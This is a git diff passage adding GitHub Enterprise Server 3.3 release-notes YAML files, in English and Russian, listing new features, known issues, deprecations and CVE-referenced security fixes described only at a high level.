changes' + notes: + # https://github.com/github/releases/issues/1735 + - Public repositories now have a `Public` label next to their names like private and internal repositories. This change makes it easier to identify public repositories and avoid accidentally committing private code. + + # https://github.com/github/releases/issues/1733 + - If you specify the exact name of a branch when using the branch selector menu, the result now appears at the top of the list of matching branches. Previously, exact branch name matches could appear at the bottom of the list. + + # https://github.com/github/releases/issues/1673 + - When viewing a branch that has a corresponding open pull request, {% data variables.product.prodname_ghe_server %} now links directly to the pull request. Previously, there would be a prompt to contribute using branch comparison or to open a new pull request. + + # https://github.com/github/releases/issues/1670 + - You can now click a button to copy the full raw contents of a file to the clipboard. Previously, you would need to open the raw file, select all, and then copy. To copy the contents of a file, navigate to the file and click {% octicon "copy" aria-label="The copy icon" %} in the toolbar. Note that this feature is currently only available in some browsers. + + # https://github.com/github/releases/issues/1571 + - When creating a new release, you can now select or create the tag using a dropdown selector, rather than specifying the tag in a text field. For more information, see "[Managing releases in a repository](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)." + + # https://github.com/github/releases/issues/1752 + - A warning is now displayed when viewing a file that contains bidirectional Unicode text. Bidirectional Unicode text can be interpreted or compiled differently than it appears in a user interface. For example, hidden bidirectional Unicode characters can be used to swap segments of text in a file. For more information about replacing these characters, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/). + + # https://github.com/github/releases/issues/1416 + - You can now use `CITATION.cff` files to let others know how you would like them to cite your work. `CITATION.cff` files are plain text files with human- and machine-readable citation information. {% data variables.product.prodname_ghe_server %} parses this information into common citation formats such as [APA](https://apastyle.apa.org) and [BibTeX](https://en.wikipedia.org/wiki/BibTeX). For more information, see "[About CITATION files](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files)." + + - heading: 'Markdown changes' + notes: + # https://github.com/github/releases/issues/1645 + - | + You can use new keyboard shortcuts for quotes and lists in Markdown files, issues, pull requests, and comments. + + * To add quotes, use cmd shift . on Mac, or ctrl shift . on Windows and Linux. + * To add an ordered list, use cmd shift 7 on Mac, or ctrl shift 7 on Windows and Linux. + * To add an unordered list, use cmd shift 8 on Mac, or ctrl shift 8 on Windows and Linux. + + See "[Keyboard shortcuts](/get-started/using-github/keyboard-shortcuts)" for a full list of available shortcuts. + + # https://github.com/github/releases/issues/1684 + - You can now use footnote syntax in any Markdown field. Footnotes are displayed as superscript links that you can click to jump to the referenced information, which is displayed in a new section at the bottom of the document. For more information about the syntax, see "[Basic writing and formatting syntax](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#footnotes)." + + # https://github.com/github/releases/issues/1647 + - When viewing Markdown files, you can now click {% octicon "code" aria-label="The code icon" %} in the toolbar to view the source of a Markdown file. Previously, you needed to use the blame view to link to specific line numbers in the source of a Markdown file. + + # https://github.com/github/releases/issues/1600 + - You can now add images and videos to Markdown files in gists by pasting them into the Markdown body or selecting them from the dialog at the bottom of the Markdown file. For information about supported file types, see "[Attaching files](https://docs.github.com/en/github/writing-on-github/working-with-advanced-formatting/attaching-files)." + + # https://github.com/github/releases/issues/1523 + - '{% data variables.product.prodname_ghe_server %} now automatically generates a table of contents for Wikis, based on headings.' + + # https://github.com/github/releases/issues/1626 + - When dragging and dropping files into a Markdown editor, such as images and videos, {% data variables.product.prodname_ghe_server %} now uses the mouse pointer location instead of the cursor location when placing the file. + + - heading: 'Issues and pull requests changes' + notes: + # https://github.com/github/releases/issues/1504 + - You can now search issues by label using a logical OR operator. To filter issues using logical OR, use the comma syntax. For example, `label:"good first issue","bug"` will list all issues with a label of `good first issue` or `bug`. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests#about-search-terms)." + + # https://github.com/github/releases/issues/1685 + - | + Improvements have been made to help teams manage code review assignments. You can now: + + - Limit assignment to only direct members of the team. + - Continue with automatic assignment even if one or more members of the team are already requested. + - Keep a team assigned to review even if one or more members is newly assigned. + + The timeline and reviewers sidebar on the pull request page now indicate if a review request was automatically assigned to one or more team members. + + For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-29-new-code-review-assignment-settings-and-team-filtering-improvements/). + - You can now filter pull request searches to only include pull requests you are directly requested to review. + # https://github.com/github/releases/issues/1683 + - Filtered files in pull requests are now completely hidden from view, and are no longer shown as collapsed in the "Files Changed" tab. The "File Filter" menu has also been simplified. For more information, see "[Filtering files in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)." + + - heading: 'GitHub Actions changes' + notes: + # https://github.com/github/releases/issues/1593 + - You can now create "composite actions" which combine multiple workflow steps into one action, and includes the ability to reference other actions. This makes it easier to reduce duplication in workflows. Previously, an action could only use scripts in its YAML definition. For more information, see "[Creating a composite action](/actions/creating-actions/creating-a-composite-action)." + + # https://github.com/github/releases/issues/1694 + - Managing self-hosted runners at the enterprise level no longer requires using personal access tokens with the `admin:enterprise` scope. You can instead use the new `manage_runners:enterprise` scope to restrict the permissions on your tokens. Tokens with this scope can authenticate to [many REST API endpoints](/rest/reference/enterprise-admin#list-self-hosted-runner-groups-for-an-enterprise) to manage your enterprise's self-hosted runners. + + # https://github.com/github/releases/issues/1157 + - | + The audit log now includes additional events for {% data variables.product.prodname_actions %}. Audit log entries are now recorded for the following events: + + * A self-hosted runner is registered or removed. + * A self-hosted runner is added to a runner group, or removed from a runner group. + * A runner group is created or removed. + * A workflow run is created or completed. + * A workflow job is prepared. Importantly, this log includes the list of secrets that were provided to the runner. + + For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#auditing-github-actions-events)." + + # https://github.com/github/releases/issues/1588 + - '{% data variables.product.prodname_ghe_server %} 3.3 contains performance improvements for job concurrency with {% data variables.product.prodname_actions %}. For more information about the new performance targets for a range of CPU and memory configurations, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-considerations)."' + + # https://github.com/github/releases/issues/1556 + - To mitigate insider man in the middle attacks when using actions resolved through {% data variables.product.prodname_github_connect %} to {% data variables.product.prodname_dotcom_the_website %} from {% data variables.product.prodname_ghe_server %}, the actions namespace (`owner/name`) is retired on use. Retiring the namespace prevents that namespace from being created on your {% data variables.product.prodname_ghe_server %} instance, and ensures all workflows referencing the action will download it from {% data variables.product.prodname_dotcom_the_website %}. + + - heading: 'GitHub Packages changes' + notes: + # https://github.com/github/docs-content/issues/5554 + - When a repository is deleted, any associated package files are now immediately deleted from your {% data variables.product.prodname_registry %} external storage. + + - heading: 'Dependabot and Dependency graph changes' + notes: + # https://github.com/github/releases/issues/1141 + - Dependency review is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Dependency review provides an easy-to-understand view of dependency changes and their security impact in the "Files changed" tab of pull requests. It informs you of which dependencies were added, removed, or updated, along with vulnerability information. For more information, see "[Reviewing dependency changes in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)." + + # https://github.com/github/releases/issues/1630 + - '{% data variables.product.prodname_dependabot %} is now available as a private beta, offering both version updates and security updates for several popular ecosystems. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} requires {% data variables.product.prodname_actions %} and a pool of self-hosted runners configured for {% data variables.product.prodname_dependabot %} use. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} also requires {% data variables.product.prodname_github_connect %} to be enabled. To learn more and sign up for the beta, contact the GitHub Sales team.' + + - heading: 'Code scanning and secret scanning changes' + notes: + # https://github.com/github/releases/issues/1724 + - The depth of {% data variables.product.prodname_codeql %}'s analysis has been improved by adding support for more [libraries and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) and increasing the coverage of our existing library and framework models. [JavaScript](https://github.com/github/codeql/tree/main/javascript) analysis now supports most common templating languages, and [Java](https://github.com/github/codeql/tree/main/java) now covers more than three times the endpoints of previous {% data variables.product.prodname_codeql %} versions. As a result, {% data variables.product.prodname_codeql %} can now detect even more potential sources of untrusted user data, steps through which that data flows, and potentially dangerous sinks where the data could end up. This results in an overall improvement of the quality of {% data variables.product.prodname_code_scanning %} alerts. + + # https://github.com/github/releases/issues/1639 + - '{% data variables.product.prodname_codeql %} now supports scanning standard language features in Java 16, such as records and pattern matching. {% data variables.product.prodname_codeql %} is able to analyze code written in Java version 7 through 16. For more information about supported languages and frameworks, see the [{% data variables.product.prodname_codeql %} documentation](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/#id5).' + + # https://github.com/github/releases/issues/1655 + - | + Improvements have been made to the {% data variables.product.prodname_code_scanning %} `on:push` trigger when code is pushed to a pull request. If an `on:push` scan returns results that are associated with a pull request, {% data variables.product.prodname_code_scanning %} will now show these alerts on the pull request. + + Some other CI/CD systems can be exclusively configured to trigger a pipeline when code is pushed to a branch, or even exclusively for every commit. Whenever such an analysis pipeline is triggered and results are uploaded to the SARIF API, {% data variables.product.prodname_code_scanning %} will also try to match the analysis results to an open pull request. If an open pull request is found, the results will be published as described above. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-27-showing-code-scanning-alerts-on-pull-requests/). + + # https://github.com/github/releases/issues/1546 + - You can now use the new pull request filter on the {% data variables.product.prodname_code_scanning %} alerts page to find all the {% data variables.product.prodname_code_scanning %} alerts associated with a pull request. A new "View all branch alerts" link on the pull request "Checks" tab allows you to directly view {% data variables.product.prodname_code_scanning %} alerts with the specific pull request filter already applied. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-08-23-pull-request-filter-for-code-scanning-alerts/). + + # https://github.com/github/releases/issues/1562 + - User defined patterns for {% data variables.product.prodname_secret_scanning %} is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Also new in this release is the ability to edit custom patterns defined at the repository, organization, and enterprise levels. After editing and saving a pattern, {% data variables.product.prodname_secret_scanning %} searches for matches both in a repository's entire Git history and in any new commits. Editing a pattern will close alerts previously associated with the pattern if they no longer match the updated version. Other improvements, such as dry-runs, are planned in future releases. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." + + - heading: API and webhook changes + notes: + # https://github.com/github/releases/issues/1744 + - Most REST API previews have graduated and are now an official part of the API. Preview headers are no longer required for most REST API endpoints, but will still function as expected if you specify a graduated preview in the `Accept` header of a request. For previews that still require specifying the preview in the `Accept` header of a request, see "[API previews](/rest/overview/api-previews)." + + # https://github.com/github/releases/issues/1513 + - You can now use the REST API to configure custom autolinks to external resources. The REST API now provides beta `GET`/`POST`/`DELETE` endpoints which you can use to view, add, or delete custom autolinks associated with a repository. For more information, see "[Autolinks](/rest/reference/repos#autolinks)." + + # https://github.com/github/releases/issues/1578 + - You can now use the REST API to sync a forked repository with its upstream repository. For more information, see "[Branches](/rest/reference/branches#sync-a-fork-branch-with-the-upstream-repository)" in the REST API documentation. + + # https://github.com/github/releases/issues/1527 + - Enterprise administrators on GitHub Enterprise Server can now use the REST API to enable or disable Git LFS for a repository. For more information, see "[Repositories](/rest/reference/repos#git-lfs)." + + # https://github.com/github/releases/issues/1476 + - You can now use the REST API to query the audit log for an enterprise. While audit log forwarding provides the ability to retain and analyze data with your own toolkit and determine patterns over time, the new endpoint can help you perform limited analysis on recent events. For more information, see "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#get-the-audit-log-for-an-enterprise)" in the REST API documentation. + + # https://github.com/github/releases/issues/1485 + - GitHub App user-to-server API requests can now read public resources using the REST API. This includes, for example, the ability to list a public repository's issues and pull requests, and to access a public repository's comments and content. + + # https://github.com/github/releases/issues/1734 + - When creating or updating a repository, you can now configure whether forking is allowed using the REST and GraphQL APIs. Previously, APIs for creating and updating repositories didn't include the fields `allow_forking` (REST) or `forkingAllowed` (GraphQL). For more information, see "[Repositories](/rest/reference/repos)" in the REST API documentation and "[Repositories](/graphql/reference/objects#repository)" in the GraphQL API documentation. + + # https://github.com/github/releases/issues/1637 + - | + A new GraphQL mutation [`createCommitOnBranch`](/graphql/reference/mutations#createcommitonbranch) makes it easier to add, update, and delete files in a branch of a repository. Compared to the REST API, you do not need to manually create blobs and trees before creating the commit. This allows you to add, update, or delete multiple files in a single API call. + + Commits authored using the new API are automatically GPG signed and are [marked as verified](/github/authenticating-to-github/managing-commit-signature-verification/about-commit-signature-verification) in the {% data variables.product.prodname_ghe_server %} UI. GitHub Apps can use the mutation to author commits directly or [on behalf of users](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests). + + # https://github.com/github/releases/issues/1665 + - When a new tag is created, the [push](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) webhook payload now always includes a `head_commit` object that contains the data of the commit that the new tag points to. As a result, the `head_commit` object will always contain the commit data of the payload's `after` commit. + + - heading: 'Performance Changes' + notes: + # https://github.com/github/releases/issues/1823 + - Page loads and jobs are now significantly faster for repositories with many Git refs. + + # No security/bug fixes for the RC release + # security_fixes: + # - PLACEHOLDER + + # bugs: + # - PLACEHOLDER + + known_issues: + - After upgrading to {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_actions %} may fail to start automatically. To resolve this issue, connect to the appliance via SSH and run the `ghe-actions-start` command. + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - '{% data variables.product.prodname_actions %} storage settings cannot be validated and saved in the {% data variables.enterprise.management_console %} when "Force Path Style" is selected, and must instead be configured with the `ghe-actions-precheck` command line utility.' + - '{% data variables.product.prodname_ghe_server %} 3.3 instances installed on Azure and provisioned with 32+ CPU cores would fail to launch, due to a bug present in the current Linux kernel. [Updated: 2022-04-08]' + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' + deprecations: + - heading: Deprecation of GitHub Enterprise Server 2.22 + notes: + - '**{% data variables.product.prodname_ghe_server %} 2.22 was discontinued on September 23, 2021**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + - heading: Deprecation of GitHub Enterprise Server 3.0 + notes: + - '**{% data variables.product.prodname_ghe_server %} 3.0 will be discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + + - heading: Deprecation of XenServer Hypervisor support + notes: + # https://github.com/github/docs-content/issues/4439 + - Starting with {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer is deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns. + + - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters + notes: + # https://github.com/github/releases/issues/1316 + - | + To prevent accidental logging or exposure of `access_tokens`, we discourage the use of OAuth Application API endpoints and the use of API authentication using query parameters. View the following posts to see the proposed replacements: + + * [Replacement OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#changes-to-make) + * [Replacement authentication using headers instead of query param](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make) + + These endpoints and authentication route are planned to be removed from {% data variables.product.prodname_ghe_server %} in {% data variables.product.prodname_ghe_server %} 3.4. + + - heading: Deprecation of the CodeQL runner + notes: + # https://github.com/github/releases/issues/1632 + - The {% data variables.product.prodname_codeql %} runner is being deprecated. {% data variables.product.prodname_ghe_server %} 3.3 will be the final release series that supports the {% data variables.product.prodname_codeql %} runner. Starting with {% data variables.product.prodname_ghe_server %} 3.4, the {% data variables.product.prodname_codeql %} runner will be removed and no longer supported. The {% data variables.product.prodname_codeql %} CLI version 2.6.2 or greater is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). + + - heading: Deprecation of custom bit-cache extensions + notes: + # https://github.com/github/releases/issues/1415 + - | + Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are now deprecated in {% data variables.product.prodname_ghe_server %} 3.3. + + Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated. + + Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed. + + To start a repository maintenance task manually, browse to `https:///stafftools/repositories///network` for each affected repository and click the **Schedule** button. + + - heading: Change to the format of authentication tokens affects GitHub Connect + notes: + # https://github.com/github/releases/issues/1235 + - | + GitHub Connect will no longer work after June 3rd for instances running GitHub Enterprise Server 3.1 or older, due to the format of GitHub authentication tokens changing. To continue using GitHub Connect, upgrade to GitHub Enterprise Server 3.2 or later. For more information, see the [GitHub Blog](https://github.blog/2022-05-20-action-needed-by-github-connect-customers-using-ghes-3-1-and-older-to-adopt-new-authentication-token-format-updates/). [Updated: 2022-06-14] + + backups: + - '{% data variables.product.prodname_ghe_server %} 3.3 requires at least [GitHub Enterprise Backup Utilities 3.3.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-3/1.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-3/1.yml new file mode 100644 index 000000000000..13b94fe0b115 --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-3/1.yml @@ -0,0 +1,17 @@ +date: '2021-12-13' +sections: + security_fixes: + - '{% octicon "alert" aria-label="The alert icon" %} **Critical:** A remote code execution vulnerability in the Log4j library, identified as [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228), affected all versions of {% data variables.product.prodname_ghe_server %} prior to 3.3.1. The Log4j library is used in an open source service running on the {% data variables.product.prodname_ghe_server %} instance. This vulnerability was fixed in {% data variables.product.prodname_ghe_server %} versions 3.0.22, 3.1.14, 3.2.6, and 3.3.1. For more information, please see [this post](https://github.blog/2021-12-13-githubs-response-to-log4j-vulnerability-cve-2021-44228/) on the GitHub Blog.' + - '**December 17, 2021 update**: The fixes in place for this release also mitigate [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046), which was published after this release. No additional upgrade for {% data variables.product.prodname_ghe_server %} is required to mitigate both CVE-2021-44228 and CVE-2021-45046.' + known_issues: + - After upgrading to {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_actions %} may fail to start automatically. To resolve this issue, connect to the appliance via SSH and run the `ghe-actions-start` command. + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - '{% data variables.product.prodname_actions %} storage settings cannot be validated and saved in the {% data variables.enterprise.management_console %} when "Force Path Style" is selected, and must instead be configured with the `ghe-actions-precheck` command line utility.' + - '{% data variables.product.prodname_ghe_server %} 3.3 instances installed on Azure and provisioned with 32+ CPU cores would fail to launch, due to a bug present in the current Linux kernel. [Updated: 2022-04-08]' + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' \ No newline at end of file diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-3/10.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-3/10.yml new file mode 100644 index 000000000000..95f4e3cd86d4 --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-3/10.yml @@ -0,0 +1,22 @@ +date: '2022-06-28' +sections: + security_fixes: + - '**СРЕДНИЙ**: гарантирует, что github.company.com и github-company.com не будут оцениваться внутренними службами как идентичные имена узлов, предотвращая потенциальную атаку на основе подделки безопасности на стороне сервера (SSRF).' + - '**НИЗКИЙ**: злоумышленник может получить доступ к консоли управления с помощью атаки с обходом пути через HTTP, даже если правила внешнего брандмауэра блокируют доступ по HTTP.' + - 'В пакетах обновлены системы безопасности до последних версий.' + bugs: + - 'В некоторых случаях администраторы сайта не добавлялись автоматически в качестве владельцев предприятия.' + - 'После слияния ветки с веткой по умолчанию ссылка "Журнал" для файла по-прежнему будет ссылаться на предыдущую ветку, а не на целевую ветку.' + changes: + - "Создание или обновление выполнений либо наборов проверок может возвращать ошибку \"500\_— внутренняя ошибка сервера\", если значение для определенных полей, таких как имя, было слишком длинным." + known_issues: + - "После обновления до {% data variables.product.prodname_ghe_server %}\_3.3 {% data variables.product.prodname_actions %} может не запускаться автоматически. Чтобы устранить эту проблему, подключите устройство через SSH и выполните команду ghe-actions-start." + - 'Злоумышленник мог создать первого пользователя с правами администратора на только что настроенном экземпляре {% data variables.product.prodname_ghe_server %} без пользователей.' + - 'Настраиваемые правила брандмауэра удаляются в процессе обновления.' + - "Отслеживаемые файлы Git\_LFS, [отправленные через веб-интерфейс](https://github.com/blog/2105-upload-files-to-your-repositories), ошибочно добавлялись напрямую в репозиторий." + - "Проблемы нельзя закрыть, если они содержат постоянную ссылку на большой двоичный объект в том же репозитории, где путь к файлу большого двоичного объекта превышает 255\_символов." + - 'Когда параметр Users can search GitHub.com (Пользователи могут выполнять поиск на GitHub.com) включен с {% data variables.product.prodname_github_connect %}, проблемы в частных и внутренних репозиториях не включаются в результаты поиска в {% data variables.product.prodname_dotcom_the_website %}.' + - 'Реестр npm {% data variables.product.prodname_registry %} больше не возвращает значение времени в ответах метаданных. Это изменение позволяет существенно улучшить производительность. Мы продолжим хранить все данные, необходимые для возврата значения времени в качестве части ответа метаданных, и возобновим возврат этого значения в будущем, как только решим существующие проблемы с производительностью.' + - 'Ограничения ресурсов, относящиеся к обработке перехватчиков перед получением, могут приводить к сбою некоторых из них.' + - 'Параметры хранилища {% data variables.product.prodname_actions %} нельзя проверить и сохранить в {% data variables.enterprise.management_console %}, когда выбран Force Path Style (Принудительно задать стиль пути). Их нужно настраивать с помощью служебной программы командной строки ghe-actions-precheck.' + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-3/11.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-3/11.yml new file mode 100644 index 000000000000..5ed3c67cf8c0 --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-3/11.yml @@ -0,0 +1,30 @@ +date: '2022-07-21' +sections: + security_fixes: + - '**СРЕДНИЙ**: предотвращает атаки, при которых подделка запросов на стороне сервера (SSRF) потенциально может заставить мост Subversion (SVN) выполнять удаленный код путем внедрения произвольных данных в Memcached.' + - '**СРЕДНИЙ**: не позволяет злоумышленнику выполнить код Javascript, используя уязвимость межсайтовых сценариев (XSS) в раскрывающихся элементах пользовательского интерфейса в веб-интерфейсе GitHub Enterprise Server.' + - "Обновляет Grafana до версии\_7.5.16, в которой устранены различные уязвимости безопасности, в том числе [CVE-2020-13379](https://github.com/advisories/GHSA-wc9w-wvq2-ffm9) и [CVE-2022-21702](https://github.com/grafana/grafana/security/advisories/GHSA-xc3p-28hw-q24g)." + - 'В пакетах обновлены системы безопасности до последних версий.' + - "**СРЕДНИЙ**: в GitHub Enterprise Server была обнаружена уязвимость хранимой XSS, позволяющая внедрять произвольные атрибуты. Это внедрение было заблокировано с помощью политики безопасности содержимого GitHub (CSP). Уязвимость стала известной в рамках программы GitHub Bug\_Bounty и получила номер [CVE-2022-23733](https://www.cve.org/CVERecord?id=CVE-2022-23733). [Обновлено: 31.07.2022]" + bugs: + - "Исправлена проблема, из-за которой файлы внутри ZIP-архивов артефактов имели разрешения\_000 при распаковке с помощью инструмента распаковки. Теперь для файлов разрешения будут установлены на\_644\_— так же, как это работает на GitHub.com." + - 'В некоторых случаях управляющая программа collectd могла потреблять лишнюю память.' + - 'Иногда резервные копии замененных файлов журналов могли накапливаться и занимать избыточное пространство.' + - 'После обновления до выпуска с новыми возможностями и последующего выполнения конфигурации Elasticsearch может регистрировать избыточные исключения при перестроении индексов.' + - 'В некоторых случаях, когда для защищенной ветви требовалось более одной утверждающей проверки, запрос на вытягивание мог быть объединен с меньшим количеством утверждающих проверок, чем требуется.' + - 'В экземплярах, использующих проверку подлинности с помощью протокола LDAP, запрос проверки подлинности для режима sudo по умолчанию неправильно помещал курсор в поле пароля, когда текстовые поля для имени пользователя и пароля были видны.' + changes: + - 'Служебная программа командной строки ghe-set-password автоматически выполняет необходимые службы при загрузке экземпляра в режиме восстановления.' + - 'Метрики для фоновых процессов aqueduct собираются для пересылки данных Collectd и отображаются в консоли управления.' + - 'Расположение журнала переноса базы данных и выполнения ее конфигурации (/data/user/common/ghe-config.log) теперь отображается на странице с подробным описанием выполняемой миграции.' + known_issues: + - "После обновления до {% data variables.product.prodname_ghe_server %}\_3.3 {% data variables.product.prodname_actions %} может не запускаться автоматически. Чтобы устранить эту проблему, подключите устройство через SSH и выполните команду ghe-actions-start." + - 'Злоумышленник мог создать первого пользователя с правами администратора на только что настроенном экземпляре {% data variables.product.prodname_ghe_server %} без пользователей.' + - 'Настраиваемые правила брандмауэра удаляются в процессе обновления.' + - "Отслеживаемые файлы Git\_LFS, [отправленные через веб-интерфейс](https://github.com/blog/2105-upload-files-to-your-repositories), ошибочно добавлялись напрямую в репозиторий." + - "Проблемы нельзя закрыть, если они содержат постоянную ссылку на большой двоичный объект в том же репозитории, где путь к файлу большого двоичного объекта превышает 255\_символов." + - 'Когда параметр Users can search GitHub.com (Пользователи могут выполнять поиск на GitHub.com) включен с {% data variables.product.prodname_github_connect %}, проблемы в частных и внутренних репозиториях не включаются в результаты поиска в {% data variables.product.prodname_dotcom_the_website %}.' + - 'Реестр npm {% data variables.product.prodname_registry %} больше не возвращает значение времени в ответах метаданных. Это изменение позволяет существенно улучшить производительность. Мы продолжим хранить все данные, необходимые для возврата значения времени в качестве части ответа метаданных, и возобновим возврат этого значения в будущем, как только решим существующие проблемы с производительностью.' + - 'Ограничения ресурсов, относящиеся к обработке перехватчиков перед получением, могут приводить к сбою некоторых из них.' + - 'Параметры хранилища {% data variables.product.prodname_actions %} нельзя проверить и сохранить в {% data variables.enterprise.management_console %}, когда выбран Force Path Style (Принудительно задать стиль пути). Их нужно настраивать с помощью служебной программы командной строки ghe-actions-precheck.' + - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}' diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-3/12.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-3/12.yml new file mode 100644 index 000000000000..e3c6861f084d --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-3/12.yml @@ -0,0 +1,23 @@ +date: '2022-08-11' +sections: + security_fixes: + - | + **CRITICAL**: GitHub Enterprise Server's Elasticsearch container used a version of OpenJDK 8 that was vulnerable to an integer truncation issue when processing malicious XSLT stylesheets. The vulnerability is tracked as [CVE-2022-34169](https://github.com/advisories/GHSA-9339-86wc-4qgf). + - | + **HIGH**: Previously installed apps on user accounts were automatically granted permission to access an organization on scoped access tokens after the user account was transformed into an organization account. This vulnerability was reported via the [GitHub Bug Bounty program](https://bounty.github.com). + bugs: + - When a custom dormancy threshold was set for the instance, suspending all dormant users did not reliably respect the threshold. For more information about dormancy, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)." + changes: + - The enterprise audit log now includes more user-generated events, such as `project.create`. The REST API also returns additional user-generated events, such as `repo.create`. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)" and "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise#querying-the-audit-log-rest-api)." + known_issues: + - After upgrading to {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_actions %} may fail to start automatically. To resolve this issue, connect to the appliance via SSH and run the `ghe-actions-start` command. + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are 